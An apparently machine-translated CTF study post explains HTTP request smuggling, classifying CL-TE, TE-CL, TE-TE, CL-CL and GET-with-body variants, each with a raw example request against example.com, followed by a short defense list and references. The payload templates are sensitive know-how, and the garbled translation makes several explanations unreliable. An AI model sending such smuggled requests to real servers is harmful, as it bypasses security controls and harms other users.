Learning through a CTF HTTP request smuggling agreement

HTTP request smuggling

HTTP request smuggling

HTTP request smuggling is on the server for processing one or more ways to receive http request sequences is used, bypassing security mechanisms, implementation means that an attacker unauthorized access, access to sensitive information, and direct harm to other users.

Request Smuggling occurs mostly in understanding inconsistencies front-end server and back-end servers to client incoming data. This is the end position because the HTTP specification provides two different ways to specify the request, i.e.,  Content-Length and  Transfer-Encodingheader.

classification

  • CLTE: front-end server using the  Content-Length head, back-end server  Transfer-Encoding header
  • TECL: front-end server using  Transfer-Encoding headers, back-end server  Content-Length header.
  • TETE: front-end and back-end servers support  Transfer-Encoding headers, but may be induced in some way by which a server does not process it.

5 kinds of attack

1.CL not the request is a GET 0

The front-end server to allow GET request carries the request body, while GET request to the back-end server does not allow the body to carry the request, it will ignore GET request directly in  Content-Length the head, not processed. For example the following example:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

 The front-end server process  Content-Length , but does not handle back-end server  Content-Length , based on the pipeline mechanism think it's two separate requests, causing the occurrence of vulnerabilities.

 

2.CL-CL

According to RFC 7230, when the server receives the request contains two  Content-Length , and the two values are not the same, you need to return a 400 error, but some servers do not strictly implement this specification. In this case, the current backend depicting a different  Content-Length value, there will be loopholes. E.g:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

 

 This example will be brought into a next request, it becomes  . aGET HTTP/1.1\r\n

 

3.CL-TE

 

RFC2616 specification
//
If there is a request packet is received Content-Length and Transfer-Encoding request header, while both, when treatment must ignore Content-Length. // so request packet containing both the request header is not illegal, the server does not need to return a 400 error. Cause the server to achieve here is more problematic.

 

 

 

CL-TE refers to the front-end server processes  Content-Length the request header, and back-end servers comply with RFC2616, the ignored  Content-Length , the processing  Transfer-Encoding . E.g:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

 

Also in this example will next be brought into a request, becomes aGET HTTP/1.1\r\n

 

4.TE-CL

TE-CL refers to the front-end server processing  Transfer-Encoding the request header, while the back-end server processes the  Content-Length request headers. E.g:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

 

5.TE-TE

TE-TE refers to the front and rear end server process  Transfer-Encoding requests the head, but in different fault-tolerant performance, e.g., some servers may be processed  Transfer-encoding , for example, the test:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

[RoarCTF 2019]Easy Calc

CL-CL

 

 

 

 

defense

  • Disabling the back-end connection reuse
  • Connecting the server to ensure that all have the same configuration
  • The denial of the request ambiguous

 

Reference to learn:

    https://blog.csdn.net/a3320315/article/details/102937797

    https://websec.readthedocs.io/zh/latest/vuln/httpSmuggling.html

    https://portswigger.net/web-security/request-smuggling

    https://xz.aliyun.com/t/6654

    https://paper.seebug.org/1048/#31-cl0get

Guess you like

Origin www.cnblogs.com/xhds/p/12339994.html